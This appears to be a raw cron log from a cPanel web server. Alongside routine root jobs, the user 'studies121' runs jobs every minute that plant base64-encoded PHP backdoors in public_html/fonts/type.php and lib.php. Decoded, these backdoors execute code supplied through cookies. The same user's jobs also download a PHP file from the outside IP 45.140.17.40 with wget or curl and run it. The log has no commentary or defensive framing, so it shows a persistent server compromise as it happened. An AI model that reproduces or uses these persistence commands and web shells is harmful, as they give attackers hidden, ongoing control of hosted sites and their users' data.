Sep  9 00:09:02 ip-184-168-122-23 CROND[12377]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 00:09:02 ip-184-168-122-23 CROND[12378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:09:02 ip-184-168-122-23 CROND[12379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:10:01 ip-184-168-122-23 CROND[12471]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 00:10:01 ip-184-168-122-23 CROND[12472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:10:01 ip-184-168-122-23 CROND[12475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:10:01 ip-184-168-122-23 CROND[12476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:10:01 ip-184-168-122-23 CROND[12478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:10:01 ip-184-168-122-23 CROND[12479]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:10:01 ip-184-168-122-23 CROND[12485]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 00:10:01 ip-184-168-122-23 CROND[12481]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 00:11:01 ip-184-168-122-23 CROND[12568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:11:01 ip-184-168-122-23 CROND[12570]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:11:01 ip-184-168-122-23 CROND[12573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:11:01 ip-184-168-122-23 CROND[12574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:12:01 ip-184-168-122-23 CROND[12734]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:12:01 ip-184-168-122-23 CROND[12737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:12:01 ip-184-168-122-23 CROND[12735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:12:01 ip-184-168-122-23 CROND[12736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:12:01 ip-184-168-122-23 CROND[12738]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:13:01 ip-184-168-122-23 CROND[12823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:13:01 ip-184-168-122-23 CROND[12825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:13:01 ip-184-168-122-23 CROND[12827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:13:01 ip-184-168-122-23 CROND[12829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:14:01 ip-184-168-122-23 CROND[12905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:14:01 ip-184-168-122-23 CROND[12908]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:14:01 ip-184-168-122-23 CROND[12907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:14:01 ip-184-168-122-23 CROND[12910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:14:01 ip-184-168-122-23 CROND[12909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:15:01 ip-184-168-122-23 CROND[12992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:15:01 ip-184-168-122-23 CROND[12994]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  9 00:15:01 ip-184-168-122-23 CROND[12995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:15:01 ip-184-168-122-23 CROND[12996]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  9 00:15:01 ip-184-168-122-23 CROND[12997]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 00:15:01 ip-184-168-122-23 CROND[12999]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 00:15:01 ip-184-168-122-23 CROND[13001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:15:01 ip-184-168-122-23 CROND[13005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:16:01 ip-184-168-122-23 CROND[13115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:16:01 ip-184-168-122-23 CROND[13117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:16:01 ip-184-168-122-23 CROND[13118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:16:01 ip-184-168-122-23 CROND[13119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:16:01 ip-184-168-122-23 CROND[13121]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:16:01 ip-184-168-122-23 CROND[13120]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 00:17:01 ip-184-168-122-23 CROND[13223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:17:01 ip-184-168-122-23 CROND[13224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:17:01 ip-184-168-122-23 CROND[13222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:17:01 ip-184-168-122-23 CROND[13225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:18:01 ip-184-168-122-23 CROND[13386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:18:01 ip-184-168-122-23 CROND[13390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:18:01 ip-184-168-122-23 CROND[13388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:18:01 ip-184-168-122-23 CROND[13389]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:18:01 ip-184-168-122-23 CROND[13391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:19:01 ip-184-168-122-23 CROND[13486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:19:01 ip-184-168-122-23 CROND[13488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:19:01 ip-184-168-122-23 CROND[13489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:19:01 ip-184-168-122-23 CROND[13492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:20:02 ip-184-168-122-23 CROND[13585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:20:02 ip-184-168-122-23 CROND[13586]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 00:20:02 ip-184-168-122-23 CROND[13589]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 00:20:02 ip-184-168-122-23 CROND[13591]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:20:02 ip-184-168-122-23 CROND[13590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:20:02 ip-184-168-122-23 CROND[13592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:20:02 ip-184-168-122-23 CROND[13595]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:20:02 ip-184-168-122-23 CROND[13593]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 00:20:02 ip-184-168-122-23 CROND[13594]: (root) CMD (/usr/lib64/sa/sa1 1 1)
